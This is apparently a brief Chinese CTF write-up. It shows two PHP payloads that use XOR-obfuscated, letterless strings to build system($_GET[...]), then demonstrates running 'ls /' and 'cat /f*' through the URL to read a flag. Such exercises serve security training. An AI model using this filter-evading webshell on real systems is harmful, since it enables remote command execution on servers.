$_='($((%-'^'[][\@@';$__='#:%('^'|}`|';$___=$$__;echo $___;$_($___['!']);
第二种:
@$_%2b%2b;$__='#./|{'^'|~`//';${$__}[!$_](${$__}[$_]);
用第一种做演示:

登陆后,在url输入!=ls /

查看源码最下面,得到这些,再cat /f*
